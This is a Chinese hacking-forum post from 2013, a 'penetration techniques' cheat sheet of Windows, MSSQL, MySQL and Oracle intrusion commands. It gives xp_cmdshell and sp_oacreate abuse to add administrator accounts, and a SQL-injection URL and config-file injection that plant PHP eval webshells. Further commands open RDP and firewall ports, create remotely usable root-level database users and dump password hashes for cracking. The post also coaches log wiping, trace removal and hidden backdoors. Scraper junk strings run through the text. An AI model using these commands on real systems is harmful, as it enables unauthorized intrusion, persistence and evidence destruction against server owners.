找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5098|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

2 j- T; e  n( _  @3 s1.net user administrator /passwordreq:no$ Q+ b" g( L- k5 F
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了0 o+ k& R* E7 y- O, n: A/ \9 @# i
2.比较巧妙的建克隆号的步骤7 L2 u5 S2 D4 j* U% n* N) |1 l5 o( s
先建一个user的用户+ h. @' k9 o6 B+ u, ^* c# ?4 h4 K" C
然后导出注册表。然后在计算机管理里删掉
5 ^" }9 w) k/ G2 k8 p" }在导入,在添加为管理员组
& g, E# W( I% {9 [* j" S% b9 U3.查radmin密码
. n" n5 V2 y1 q* {  k4 `8 e) Mreg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
- J5 r3 x' e( g# ~0 b- e% `3 U4 p: Z4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
2 x0 n! k, h+ b/ T3 \% k建立一个"services.exe"的项4 g6 x4 Z* t3 J$ ~9 v2 u2 Y' K8 P( F
再在其下面建立(字符串值)
% V5 M( K8 \7 E4 T( R& }键值为mu ma的全路径: d- h7 t5 b+ O4 q" D8 X/ n  d& N2 w
5.runas /user:guest cmd
; R9 [3 B& j  ]测试用户权限!0 z- i$ e7 y/ X! V$ Y, I) Z
6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
) ?, E7 n4 F" k0 e4 E7.入侵后漏洞修补、痕迹清理,后门置放:
( Y& w- F& Q$ S基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门1 A3 w$ X8 i" ^9 J0 u
8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
* d4 ~: Y4 C# F  f/ f4 ]2 k
4 s8 v3 `+ @* ]2 dfor example  a% k6 A% Z5 n6 c
& L% ~: f9 a, ~  f, P! \
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
. c2 D- l3 J7 l7 A3 X7 U" k8 C
3 E: e# [1 s+ Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
9 A: U0 E: R  X+ P6 }% H% p4 u7 t- n& E, D, ^
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了0 r6 X- w" o. U" J2 s
如果要启用的话就必须把他加到高级用户模式
. S' `- ^3 ^4 f+ p1 L可以直接在注入点那里直接注入
$ t+ W1 Z# E' h( d, Qid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--" V3 S) O( k7 ?6 e( n' H; `
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
$ y& O* T, C$ b$ K或者; P% {) j/ \9 Y; C" o* t5 U
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
. r8 x5 {% i6 g# F) d0 N6 p/ a4 a7 R来恢复cmdshell。
7 c7 |6 I1 A2 N" r. q+ f
: l/ o; b) a5 D+ W+ n6 y/ y1 N9 Q分析器
" n* D% _" ^' N% C' Q7 q2 I9 gEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--+ f/ r" l% E& o( C5 W# Z, d3 \
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")- c# @" k% O) T' E" w
10.xp_cmdshell新的恢复办法1 g8 B; {6 E# z# W! l# Y
xp_cmdshell新的恢复办法
( |) z% `7 e! i扩展储存过程被删除以后可以有很简单的办法恢复:8 ^) C5 R: T4 a+ V$ j' x
删除; V* B2 }1 `0 k
drop procedure sp_addextendedproc7 i% e+ `9 I; `. b' b% V
drop procedure sp_oacreate
, A6 ^: c' a+ w4 [* P& Yexec sp_dropextendedproc 'xp_cmdshell'
9 L; N( {" k) t! E
$ V& Q2 u: u% Q& L8 v" n4 ?& @  n恢复
4 u. T% N) G+ M  a+ ~9 Mdbcc addextendedproc ("sp_oacreate","odsole70.dll")2 T$ V, c$ ~& i9 Y
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
" ?; i  c( K) `5 w% L6 ?% A! L  _& ^; t+ a. w" c( P9 U
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
. D6 l: ~# j9 m% K: L, z+ V
! W! w# N; O; J: `8 c5 I- v-----------------------------
! E+ v2 B6 w- c: K: G% A* V# [2 v% G" y3 Q
删除扩展存储过过程xp_cmdshell的语句:
, _; m; z0 A5 \# B6 y( ~. Gexec sp_dropextendedproc 'xp_cmdshell'; O2 q6 M3 D* g0 T: y; c
" ]) X/ h! q3 N! L; D  m3 s$ `
恢复cmdshell的sql语句! H/ x; _4 i; A8 O. A; M" \
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'; H$ U6 {- `" {7 T

( }$ Q* c+ F+ j
3 W2 T& o6 p0 n$ X6 {6 @开启cmdshell的sql语句
8 N0 S- f3 u( W  U: U  I; h1 Z
! o- t* I5 @) n+ D: ]exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
. q) |$ @; {" `0 y% M8 N' K
/ Q5 p, S- C3 }1 P- `判断存储扩展是否存在
7 d- I- e1 z( k, }select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'  [' s4 K7 j. G! c) g$ Q) u3 [6 H
返回结果为1就ok
1 ^% }% Y/ _" y1 ]+ G6 m8 X" |, u  q" F* t$ h/ X/ `, @
恢复xp_cmdshell
3 Y0 j; C% a5 E. M8 Vexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
; u- y9 j  f2 X8 n5 g返回结果为1就ok
3 a3 L" g2 ^- d% U/ `& T
) H8 ^6 B/ i$ Y4 T$ U否则上传xplog7.0.dll0 E# G+ `$ O. S2 j9 g  Q+ ^4 T
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
+ k$ k* d- g6 s% b7 Q8 ^$ \2 Z0 @
2 t- _& }# S6 x8 R% b" ^堵上cmdshell的sql语句( l8 l" p$ @0 A- Q% F
sp_dropextendedproc "xp_cmdshel
( g9 m  n! O& ^. O9 ~- T-------------------------! k. }, J1 N( U
清除3389的登录记录用一条系统自带的命令:) ?6 @- \  t  J% @
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f9 X  O- q- ]; R/ \1 D
7 e5 U! p) x6 R, }  U- E( o: n
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
' R: D) R2 a+ R4 ~8 m, {& f4 |在 mysql里查看当前用户的权限1 U" ^# q3 C9 ]
show grants for  
8 ~0 D& z  o  m8 \9 {! Q% y% R5 A' T9 c
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
) o+ o# w6 ?( X7 a/ ]' w" g# ]8 j- W# Q& c5 T# B
$ R6 ^- H: F8 I$ j" M
Create USER 'itpro'@'%' IDENTIFIED BY '123';5 s3 N0 g. c9 U. p! M. p
; h0 C( d$ u! r8 A, ?1 H, K$ n
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
& t* Q3 |8 a# P5 H( r" M4 i! S/ x5 T" m  @, O
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 04 j4 U) o. g( W6 y2 G7 P0 Q

5 d) D/ X9 P3 U$ wMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;0 J$ `* s; f* s' O
+ L' L' D" G: l8 k4 b
搞完事记得删除脚印哟。
( q' ~) ]0 @& a5 |
# o. p5 [8 O$ W# Z7 \Drop USER 'itpro'@'%';# A$ X& {# l; ^' c

+ l. H6 h8 G% q# S, k1 jDrop DATABASE IF EXISTS `itpro` ;
: W( q" Z' O  `. u" y% a/ S4 R$ M+ x' k. N. ^4 b. ~
当前用户获取system权限
' Z! ~7 n8 Q# t' J% O8 d' @sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
% m: [" {5 I* B2 V7 f2 i6 Hsc start SuperCMD
3 i8 x/ D5 a3 F4 t程序代码- |/ `& X8 B" n/ t
<SCRIPT LANGUAGE="VBScript">
+ i5 V* a, {6 N+ `. ]: {- ~; Gset wsnetwork=CreateObject("WSCRIPT.NETWORK"). ]! ^! z5 m5 T* r
os="WinNT://"&wsnetwork.ComputerName
# S+ ?5 b& U9 G( u+ U0 q0 n  LSet ob=GetObject(os)
6 G+ n& I9 x) ?& W$ KSet oe=GetObject(os&"/Administrators,group")
* a! A  Q8 o8 I! h  F, ZSet od=ob.Create("user","nosec")) U" x7 u- K- e- W! a& H
od.SetPassword "123456abc!@#"
) t9 F5 G$ t, W+ O+ U( v6 Jod.SetInfo2 X8 W; x3 f7 x0 @1 f
Set of=GetObject(os&"/nosec",user)
# J- t, e" Y) c! a% O2 O; r+ |oe.add os&"/nosec"  N8 w4 `1 ^$ A' e! Y% U
</Script>+ g( }6 x$ M5 h7 _+ J2 R/ q
<script language=javascript>window.close();</script>
% ^* \6 L, C$ B! ]( r( s9 m3 ]: X; ?) Z: v7 q
6 z1 H# V* t5 }. X( e. v
7 {5 d- r/ K8 ]6 B# F
5 r# U" q( k" _( x7 B' p! B. ?
突破验证码限制入后台拿shell
7 ]6 h# P( u: u5 \- W4 V6 C* I程序代码
  j* Z: g( @4 U: y3 H! NREGEDIT4
2 a  e& J8 H- Z8 a! \[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] " i+ D" F- }8 ~. d+ P
"BlockXBM"=dword:000000002 g' J; O# o" `1 P, @6 R" _

: E" e# ^- D  e. ~( R0 k8 P  ?1 n保存为code.reg,导入注册表,重器IE
' T# s' C# |( a# ]# }就可以了
8 _8 Q, x; r( B1 ]7 Munion写马
0 R, B0 s, _# Z' k' M程序代码
# _2 e* l* b1 z2 s- twww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
/ L- y4 u2 K% Q1 B' ~) L" V, A2 @, H* R# A4 Y8 Q
应用在dedecms注射漏洞上,无后台写马  c. Q( i" h  V: ~+ i
dedecms后台,无文件管理器,没有outfile权限的时候
0 Z4 ]! f& h4 y' X8 i2 Y在插件管理-病毒扫描里
+ n# d) n# r. p* e) |写一句话进include/config_hand.php里
5 y4 Y) k' m% p, Z4 q程序代码
/ X- y$ F* @: {  I3 l& o>';?><?php @eval($_POST[cmd]);?>1 J) @; G  M% D0 U$ ~2 Y, z& o
) m+ U- [0 C% x& ]2 z

. P# N7 z7 _* U' W如上格式
# K. y1 o6 h, h& \: u1 \- U/ K- Z" ^0 r/ k& `( l% F/ S
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
* w. i6 \8 C  x4 ~. h' `程序代码. c& V5 H$ N+ C: j. k4 q+ B
select username,password from dba_users;
  y3 c  b: j7 a( C% ^0 A- M! `0 H2 A2 {6 v
& ?6 X+ u2 ^7 g) d* p
mysql远程连接用户
5 S% q) P8 \$ a程序代码
+ [8 x& X1 d% r& j6 E- m! }* V4 |  v8 m) X( f9 x: V  a8 ~
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
' `/ e: ^( H# x/ B$ BGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION7 c( G& y  @3 j" ~: |9 |. x7 k# I
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 08 I4 H! @0 Y! S; s9 n  o4 q
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;' S9 \! u% d% X7 X: Q! M2 b
4 p! f+ U/ e% D" }# P
( F& H- z% z) w% @) p4 H4 y4 ?" u; p) v
; I  h! d, q3 n& l8 j% f& ]

+ o" ^$ S" k* ~' f0 J1 `echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
: v4 {0 k! p+ q! ~5 @1 D& o0 H* P8 m+ `/ p
1.查询终端端口
7 j) g& U% G8 S. Q. ]% _7 a5 {" V( h6 R* I0 w
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber, u; K6 @# A& L% C4 n/ p
0 t* S  [. y6 q( l8 o/ M
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
3 Y& G0 O6 J1 _& ^% Rtype tsp.reg8 v/ S/ Y0 y! B' M
/ _' l! t5 U# k5 z
2.开启XP&2003终端服务9 ?4 |0 h! T) j6 ~2 I5 @7 z4 Q

; o* ~& f! n  A2 c5 L& m0 T1 k# e' I) P# d4 L- ^
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f8 f) t3 L: j. F! z
! u) ]: l/ j7 k2 I7 D! K' ^

+ h- b- q: @) |; h! vREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
5 w% y, i$ a7 S0 \9 p
, b2 I2 m' l/ p9 n3.更改终端端口为20008(0x4E28), p9 N. q7 S2 X- G( Y* N

) F& R$ g( F  \4 r5 G8 @REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
' ^+ R% o5 M4 j) s* ?8 E
, x. ]5 m2 l! W4 K" [& U3 R5 Y2 uREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
3 J- V; B2 s) X4 o7 o6 ~+ m' H- N7 r3 r  B, t# l8 k- l7 ?
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制7 L0 N# [9 Q+ l' H' y% k

' G# R7 y1 I' E' i) w. j: @/ SREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
, N- {! T$ A# Z, y& [5 V+ q
$ q% i2 T/ O9 h) B5 ]/ s: M% T
. k8 _! F& J) Q5 J. F5.开启Win2000的终端,端口为3389(需重启)$ E0 T: |1 Q2 J6 ?" J# P0 w7 _
+ g" F' S- g. u
echo Windows Registry Editor Version 5.00 >2000.reg
! g+ B# {. w) x( recho. >>2000.reg
2 @0 f2 \4 R+ l( eecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg 3 T6 p8 |9 K  J/ Y% s' D+ M
echo "Enabled"="0" >>2000.reg
. b. v# N$ J4 N' w2 recho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg 7 h/ |6 t3 ?; H
echo "ShutdownWithoutLogon"="0" >>2000.reg
+ N, B( f5 b2 D  ^echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg & u  [1 L# r- Y( \
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg 6 v5 b, n, @- x8 ^# n$ ^6 t
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
' J9 u9 C5 I: d1 K% \9 R! _" h5 Z" eecho "TSEnabled"=dword:00000001 >>2000.reg ) {# B* r, k1 z3 a# L6 k, Z( R7 f
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
5 q1 {5 [) K' }' v8 K, O% Aecho "Start"=dword:00000002 >>2000.reg * {# ?6 v- e% W+ F# n: i
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg ) g# z: \( ]0 @  t
echo "Start"=dword:00000002 >>2000.reg 3 H/ y/ n2 P4 I) n  B& A7 J" v
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
0 e1 J. Q* ^, P1 N" G9 V8 Eecho "Hotkey"="1" >>2000.reg
* w8 l2 h, G9 h1 G$ Necho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
  J' n" i- B" R, Y; |echo "ortNumber"=dword:00000D3D >>2000.reg
4 O  j( O$ }0 A: [; r0 eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
0 W  W. m- M! Becho "ortNumber"=dword:00000D3D >>2000.reg- [$ n- J8 a. ]0 u- R; ^- f- p
1 F1 u/ L/ J5 a9 g+ |" Z; M& K
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
( l8 ]& O8 n3 S) |) l8 Z& J0 ]0 T' o
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf! ~4 ?5 U7 [. N4 Z! W4 W, b* d
(set inf=InstallHinfSection DefaultInstall)
0 `( X( C5 h) }: i( G* U" d* kecho signature=$chicago$ >> restart.inf0 h$ I- o0 x1 E! ?
echo [defaultinstall] >> restart.inf/ L7 O9 i$ Z2 H/ `, {5 y' D1 t: m
rundll32 setupapi,%inf% 1 %temp%\restart.inf; X; ]: g3 c5 l* I( T  \
+ O# l+ ]  u# h* U* m! p4 n9 Y0 y4 \
" `1 S/ r. k# q& K
7.禁用TCP/IP端口筛选 (需重启)) v5 t  O$ {. \1 x  @

5 V" m( Q9 F8 \6 w) h7 dREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f0 z1 E' B; L. @) t1 t
) @" g) Y2 h+ q3 H- _
8.终端超出最大连接数时可用下面的命令来连接
. m& U3 F9 S1 U8 ?& M
5 j# W0 |! d( f8 s7 Z) ?mstsc /v:ip:3389 /console
* y0 N4 y- |( z3 V/ |6 @
6 ~7 k. O. ^9 k; V; \. i) b9.调整NTFS分区权限
) o$ x  ?/ z7 }) {& R6 }4 p; G. `( B8 I% s6 J
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
& d3 q; o: l; E& a8 k. D. I- e- G& l, r2 I* l2 k, Q+ c
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件); Y, d) w3 f7 i5 U- |

9 O- M( r/ A6 v7 G: H3 q& h; C------------------------------------------------------
0 h6 F0 n. w/ V2 H. L3389.vbs
. x2 `" A2 |# m7 o  A2 kOn Error Resume Next* O' V* m. `3 _0 e0 I
const HKEY_LOCAL_MACHINE = &H80000002
0 u3 [- b/ F: EstrComputer = ".") |# z: r. l5 ?8 |1 B
Set StdOut = WScript.StdOut
  g* `* d' J6 V# n+ _Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
, e- o/ F: q( L0 r( vstrComputer & "\root\default:StdRegProv"). F% W' e4 w* M" U# N4 n
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
$ c$ X$ J, k% h( |8 n2 F3 Loreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
' L8 D# Y0 V8 R9 wstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
. y! s& \" \* ]8 S" K# Yoreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
, ?, q; [/ C/ y: J5 kstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"4 J8 S0 r$ s1 _% K* Q, V0 O
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
4 L. X& b; f% p1 g# vstrValueName = "fDenyTSConnections"
, D9 H0 ~0 l( DdwValue = 06 o( L& @5 [' R
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
0 W" |/ K( q$ N0 g; ~' T( IstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
8 v) T8 y9 o, o, g) F$ kstrValueName = "ortNumber"6 b0 k* A; b. @9 O! |# C
dwValue = 33896 r+ \7 M7 c9 k/ t
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue1 m% v6 a4 z9 f: ]1 {  G
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"+ O- ^5 C2 Q/ |* b& R
strValueName = "ortNumber"3 J/ l9 m3 f4 h, n* G
dwValue = 33893 i$ S: R' e" P2 q( l" V" a
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
+ D  z0 z4 G4 _  I4 |- F0 f+ P; dSet R = CreateObject("WScript.Shell")
6 ?: G% h  L8 z& cR.run("Shutdown.exe -f -r -t 0")
% {" a5 z% i+ A& V- M
, J4 x2 ?/ x; i, A5 J5 `( |( v6 ]删除awgina.dll的注册表键值
' @8 s- K5 u9 d$ K程序代码9 H- F3 ]. t1 I& U

2 h$ h3 f+ c7 O/ ^% F9 Jreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f( `' b- g, U% @) w

( p( k3 ~- v# Y+ ]+ {& G" G1 R
/ F' O3 y8 k/ F
2 O; K+ w8 K6 j9 I/ J3 V2 N& Q! x
. L0 j* ^; k$ B- T7 [程序代码& |2 ^7 S) b* ~% N
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash
7 A/ ?0 J6 M. s/ a
1 L2 C  o% x2 r4 }2 @设置为1,关闭LM Hash+ b7 G$ w* h' }2 p7 l
: j3 N: w: F1 t0 u
数据库安全:入侵Oracle数据库常用操作命令- D& A3 F  v0 r7 `
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
  Q: f; u6 _" w0 y, @; p# y2 ?1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。+ r. z  T' t% Q/ j4 _7 t; W6 L
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;; @3 m% Y0 L% F: l
3、SQL>connect / as sysdba ;(as sysoper)或6 v& p% W$ T1 U2 U6 Z
connect internal/oracle AS SYSDBA ;(scott/tiger)
6 b& c2 W% H0 Kconn sys/change_on_install as sysdba;
5 P; B- V2 t! \. W6 D2 X9 ]% b4、SQL>startup; 启动数据库实例- @3 h9 d" }. w' h+ P! K3 z& m
5、查看当前的所有数据库: select * from v$database;% b! d, s; w  a6 U
select name from v$database;
6 s5 J# s( I) U2 E3 |) I1 O4 i. V/ X6、desc v$databases; 查看数据库结构字段
7 I6 C) M4 `! R& a! _7 u  F/ y& h7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:/ l# t. V  D+ v4 K- b$ r, n) _1 O/ A
SQL>select * from V_$PWFILE_USERS;' [9 Q* @8 Q$ T( a* H& P
Show user;查看当前数据库连接用户3 `. m1 ~& |$ m* q
8、进入test数据库:database test;( L# P1 R  v. O; u) j6 U
9、查看所有的数据库实例:select * from v$instance;! b/ @$ g# ^6 T* o2 q
如:ora9i* B% }' B8 b2 E$ r3 e+ \
10、查看当前库的所有数据表:! b  }6 E" v; a; ~: X0 s2 B& d
SQL> select TABLE_NAME from all_tables;+ `1 w0 V* j, b5 h2 t: m4 S& d" i
select * from all_tables;
" @& j8 [" N/ n% t' pSQL> select table_name from all_tables where table_name like '%u%';- b0 T8 E" s4 e( ?  k' b
TABLE_NAME
0 G& N8 c) r% U+ x------------------------------
2 a3 a( m; M( _. X3 V6 q) w( C( x" j_default_auditing_options_
9 o1 U! ]6 Z$ [8 r% v11、查看表结构:desc all_tables;
$ L; O( V; P1 j: d% k' W' ]; `12、显示CQI.T_BBS_XUSER的所有字段结构:
+ b, K) x( ^) y, ^" d  m/ Pdesc CQI.T_BBS_XUSER;
2 W) l" }4 {% c13、获得CQI.T_BBS_XUSER表中的记录:0 d/ y0 Z' I' Z+ [
select * from CQI.T_BBS_XUSER;9 I3 r4 F1 X. W4 ^4 L5 e3 ~
14、增加数据库用户:(test11/test)
3 B+ }$ ?; r9 d1 M5 u* g: Vcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;7 V% h! M& x+ N
15、用户授权:
* w3 M# {; Q# O/ i; N- @grant connect,resource,dba to test11;
  r7 V0 p/ t$ ^- Wgrant sysdba to test11;
* q! h4 g  U/ p& K% N0 Z, qcommit;" y& E4 v# m4 o7 c
16、更改数据库用户的密码:(将sys与system的密码改为test.)6 ]& f' [7 L1 s) O: u6 l3 G
alter user sys indentified by test;# \8 p% @2 Z2 ~  o5 X- f" t  Z
alter user system indentified by test;6 {/ Q! A& ~3 b9 w" z8 x

% [8 a1 O: c- U( x* k; [applicationContext-util.xml
5 K* W. H8 `8 I* ]9 ]1 I1 ]# OapplicationContext.xml
- s% l1 ^) T, |8 dstruts-config.xml1 o) L/ a, D; k$ c
web.xml4 d3 K+ h- K' s: _6 Z7 D9 y
server.xml" N  R! d) R6 h/ G& X$ f
tomcat-users.xml, b: j7 S5 q. r  w3 Y' J
hibernate.cfg.xml6 u3 L: }- P) \9 h1 C% y5 g. L8 v# `
database_pool_config.xml
1 R/ h  G3 ^* `6 g* ?2 E8 U
3 `5 h  m0 U* K- {8 n+ [6 N
# [& ?$ @7 m% j' S! g\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
6 V" g( |: O; J4 F9 k\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini
* s, T, X5 H  I7 ], N. X# Y\WEB-INF\struts-config.xml  文件目录结构. Q# o' R' ~" O+ I+ B

4 J1 q9 D8 o: |, T- H: r" _* bspring.properties 里边包含hibernate.cfg.xml的名称
  e! Z  u. P  G3 g# F+ W. S- c; J* }0 i* N/ y- d6 ~0 k4 ^
7 h7 `; E7 Q% V5 I6 Z$ s/ E
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
! y9 z9 q5 l# }6 q8 ^" h9 K& G( h* m2 v$ C4 v* }0 v6 x
如果都找不到  那就看看class文件吧。。2 c' t6 ?5 P4 L, {/ B1 H7 w  }

/ N- ]5 w* ^4 c/ ~7 |测试1:
3 r% B/ E; v8 C3 H. N9 }3 uSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t13 J6 G0 P% V9 b

3 k* B7 ]! O5 B测试2:
9 `* a7 o0 n. x" E3 _5 m4 M2 Q0 F/ ?6 O
create table dirs(paths varchar(100),paths1 varchar(100), id int)
. ]0 w8 t4 M5 S- l/ l$ p0 d+ n1 [1 }# R2 _8 ?* y6 w# g7 ^5 I
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--. `0 S1 P4 a7 ~& F; o1 t: M

/ w  u+ O. \3 o4 m1 uSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t10 e) N9 `" r5 ?4 J+ a

  Z5 r0 l. h$ F: P2 U. o( t查看虚拟机中的共享文件:
+ l: i; }- I" ?3 X8 l% l) }在虚拟机中的cmd中执行
3 c% k5 K2 l6 G# K\\.host\Shared Folders
) r* C3 Q- L" Z, e
" k9 O' \4 B  ~$ X+ I5 ccmdshell下找终端的技巧6 V. [  b! i% n6 F4 J
找终端: ; l- n- h1 }2 @* ^" q
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 2 e% _( Y4 F" i0 |, A$ {! k
   而终端所对应的服务名为:TermService : b7 y! ]8 U- R9 D7 f/ f
